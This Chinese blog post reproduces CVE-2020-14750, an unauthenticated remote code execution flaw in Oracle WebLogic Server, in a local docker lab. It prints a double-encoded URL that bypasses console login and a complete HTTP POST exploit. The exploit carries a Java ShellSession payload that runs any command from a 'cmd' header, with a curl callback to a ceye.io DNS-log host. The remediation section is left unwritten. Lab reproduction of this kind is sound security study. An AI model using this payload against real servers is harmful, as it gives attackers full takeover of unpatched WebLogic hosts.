Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
    • 漏洞利用
    • 修复建议

漏洞名称

漏洞描述

Oracle Fusion Middleware的Oracle WebLogic Server产品中的漏洞(组件:控制台),允许未经身份验证的攻击者通过HTTP访问网络,从而导致Oracle WebLogic Server被接管。

影响版本

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

漏洞复现

环境搭建

受害者IP:
192.168.63.129:7001
192.168.63.129:7002
192.168.63.1295556
攻击者IP:
192.168.63.1

vulfocus下载链接

https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git

启动vulfocus

docker-compose up -d 

环境启动后,访问http://192.168.63.129:7001/console/login/LoginForm.jsp,说明已成功启动。
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_第1张图片

漏洞利用

需要注意的是,需要我们先登录才行,不登陆就无法进行未授权,weblogic/welcome1。这里我是在虚拟机里面进行登录的,下面的验证是在本机进行验证的。

在虚拟机登录成功。

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_第2张图片

访问经过二次编码的url,发现有些浏览器可以绕过登录,比如火狐浏览器或者谷歌浏览器。

http://192.168.63.129:7001/console/css/%252e%252e%252fconsole.portal

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_第3张图片

但是,使用其他浏览器发现绕过失败,使用下面的payload可以绕过。

http://192.168.63.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_第4张图片

通过burp抓包,使用post请求方式进行任意命令执行,在响应体中返回302和localtion跳转信息。在请求头字段cmd加入payload,使用dnslog平台dns带外进行命令执行,

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.63.129:7001
Content-Type: application/x-www-form-urlencoded
Content-Length: 1364
cmd: whoami&curl {{*.ceye.io}}

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\x0d\x0aweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\x0d\x0ajava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\x0d\x0afield.setAccessible(true);\x0d\x0aObject obj = field.get(adapter);\x0d\x0aweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\x0d\x0aString cmd = req.getHeader(\"cmd\");\x0d\x0aString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\x0d\x0aif (cmd != null) {\x0d\x0a    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\x0d\x0a    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\x0d\x0a    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\x0d\x0a    res.getServletOutputStream().flush();\x0d\x0a    res.getWriter().write(\"\");\x0d\x0a}executeThread.interrupt();

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_第5张图片

在dnslog平台中返回信息,但是没有返回whoami的信息,具体什么原因未知,博主这里没有进一步测试,查看资料msf可以进行命令执行,有兴趣的小伙伴可以试一下。这里后续在补充。

Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_第6张图片

修复建议

1、懒得写,后续在补充

你可能感兴趣的:(weblogic漏洞合集已复现,oracle,数据库,网络安全)